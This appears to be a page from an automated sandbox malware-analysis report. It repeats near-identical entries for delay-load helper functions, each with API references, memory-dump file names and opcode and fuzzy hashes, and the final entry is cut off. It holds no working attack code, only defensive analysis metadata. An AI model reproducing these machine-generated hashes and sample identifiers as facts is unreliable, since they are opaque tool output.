Function 0091E2A5 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f171abd8aa34ca4ebb1ac627e97d2f3c0cd90de209824c0c7656ea32157bead6
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: f171abd8aa34ca4ebb1ac627e97d2f3c0cd90de209824c0c7656ea32157bead6
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E2AF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: df0071db2916c9b39f20f058f50981ac7d80b96ce8a8deb40b4408dcf93dc5d2
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: df0071db2916c9b39f20f058f50981ac7d80b96ce8a8deb40b4408dcf93dc5d2
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E2D7 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 509a2762673aa7d27e45267166cc5b0d48286efcc72216fd131af4cd673d3acd
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 509a2762673aa7d27e45267166cc5b0d48286efcc72216fd131af4cd673d3acd
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E2C3 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: ee9bab09cfa619d8f1d6490e21d22ba10b9edcdd46088eb0739e02bd439b525f
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: ee9bab09cfa619d8f1d6490e21d22ba10b9edcdd46088eb0739e02bd439b525f
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E2CD Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f123e20cabcf0ab6f379d92443693108b682c5251cfc14c26107a847770f9118
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: f123e20cabcf0ab6f379d92443693108b682c5251cfc14c26107a847770f9118
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E219 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 96c2d16a36afd9bfcadfbe39356eb7461d4ef3fc22d9353e02390356a920d9b4
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 96c2d16a36afd9bfcadfbe39356eb7461d4ef3fc22d9353e02390356a920d9b4
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E25F Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6db2ccb2c9010a980cc9e2e0f7f2cab4d6ff1d719cf8a600da2a9293db66d366
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 6db2ccb2c9010a980cc9e2e0f7f2cab4d6ff1d719cf8a600da2a9293db66d366
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E27D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E1E3

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 869717c3fab26352077c513ec985c6596ed7de2e5c5b90d95046f78cf28d5585
Instruction ID: 4ab6c4354fa60ee8d0f0c0aafdc9ea5f7d0f3f37e8a3ba589a9469897d442714
Opcode Fuzzy Hash: 869717c3fab26352077c513ec985c6596ed7de2e5c5b90d95046f78cf28d5585
Instruction Fuzzy Hash: 5CA011E23AC00ABC300822222C0ACBB022CE8C0B20330882EFC03C0080A88028822830

Function 0091E3EF Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3bd4d69905668488fd14b7332fefc416c84d4e7ef9e58483a78c03a44f04e4b9
Instruction ID: fdbd7c75ef314d2478407ec5e952ed0cb60dfbd3ccb1715bb756f2ee87dff40e
Opcode Fuzzy Hash: 3bd4d69905668488fd14b7332fefc416c84d4e7ef9e58483a78c03a44f04e4b9
Instruction Fuzzy Hash: 22A001E63A956A7D310866516D07DBB122DC8C1B29730996EFC25A5485AC8418861973

Function 0091E414 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: da3fb50241cc7e66e6639fb0cdce2575ee86d9d4a6583085dd0ee279eb00ec01
Instruction ID: d50e3e184712c1010c4023df440df97c86c2a41ae055a5342d86fb52645e969e
Opcode Fuzzy Hash: da3fb50241cc7e66e6639fb0cdce2575ee86d9d4a6583085dd0ee279eb00ec01
Instruction Fuzzy Hash: 9AA011E23AC02ABC300822002C03CBB022CC8C0B28330882EFC22A0080A88008820833

Function 0091E40A Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 09f1b4acc7138acf06f8b56cfa773423e9821006e4d9b4d0ac9a88f43a92824c
Instruction ID: d50e3e184712c1010c4023df440df97c86c2a41ae055a5342d86fb52645e969e
Opcode Fuzzy Hash: 09f1b4acc7138acf06f8b56cfa773423e9821006e4d9b4d0ac9a88f43a92824c
Instruction Fuzzy Hash: 9AA011E23AC02ABC300822002C03CBB022CC8C0B28330882EFC22A0080A88008820833

Function 0091E432 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 87b043840bccf8d419c48135c9b91d602ea162d30e7752f025b60efd79ea1da3
Instruction ID: d50e3e184712c1010c4023df440df97c86c2a41ae055a5342d86fb52645e969e
Opcode Fuzzy Hash: 87b043840bccf8d419c48135c9b91d602ea162d30e7752f025b60efd79ea1da3
Instruction Fuzzy Hash: 9AA011E23AC02ABC300822002C03CBB022CC8C0B28330882EFC22A0080A88008820833

Function 0091E43C Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: f7b6bca9f80646e469956902cbbd4fc392ccaad9d8af98390550622e6635a8c4
Instruction ID: d50e3e184712c1010c4023df440df97c86c2a41ae055a5342d86fb52645e969e
Opcode Fuzzy Hash: f7b6bca9f80646e469956902cbbd4fc392ccaad9d8af98390550622e6635a8c4
Instruction Fuzzy Hash: 9AA011E23AC02ABC300822002C03CBB022CC8C0B28330882EFC22A0080A88008820833

Function 0091E446 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E3FC

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: b1058520ebffd7b1138169d2615fdf5d0b1956667621c2c28441c9849618e4f1
Instruction ID: d50e3e184712c1010c4023df440df97c86c2a41ae055a5342d86fb52645e969e
Opcode Fuzzy Hash: b1058520ebffd7b1138169d2615fdf5d0b1956667621c2c28441c9849618e4f1
Instruction Fuzzy Hash: 9AA011E23AC02ABC300822002C03CBB022CC8C0B28330882EFC22A0080A88008820833

Function 0091E58E Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 6c13a0fd69308af765ff6bd595fcd641c3aa409c31bb872c6f83e930da40de71
Instruction ID: c7208ca6a5fb736802fc054223e380d8efc27b4e01bf5db1c297f171e16f6dbb
Opcode Fuzzy Hash: 6c13a0fd69308af765ff6bd595fcd641c3aa409c31bb872c6f83e930da40de71
Instruction Fuzzy Hash: 96A011C2BA820ABC300822A02C03CBB022EC8C0B2C330882EFC02A0080A8800C820830

Function 0091E5A2 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E580

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: e026a58d4084fedfc52673fef21426219d3bf037cf554f4dd0fea8f6b0187cf2
Instruction ID: c7208ca6a5fb736802fc054223e380d8efc27b4e01bf5db1c297f171e16f6dbb
Opcode Fuzzy Hash: e026a58d4084fedfc52673fef21426219d3bf037cf554f4dd0fea8f6b0187cf2
Instruction Fuzzy Hash: 96A011C2BA820ABC300822A02C03CBB022EC8C0B2C330882EFC02A0080A8800C820830

Function 0091E555 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 0091E51F

Part of subcall function 0091E85D: DloadReleaseSectionWriteAccess.DELAYIMP ref: 0091E8D0
Part of subcall function 0091E85D: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 0091E8E1

Memory Dump Source

Source File: 00000000.00000002.1675672511.0000000000901000.00000020.00000001.01000000.00000003.sdmp, Offset: 00900000, based on PE: true

Associated: 00000000.00000002.1675659539.0000000000900000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675697794.0000000000933000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.000000000093E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000945000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675712184.0000000000962000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675765392.0000000000963000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_900000_hz7DzW2Yop.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID:
API String ID: 1269201914-0
Opcode ID: 3948c8cb0670576adc49fc225a73b839508d7eb16439ab5b77dd0e7149300273
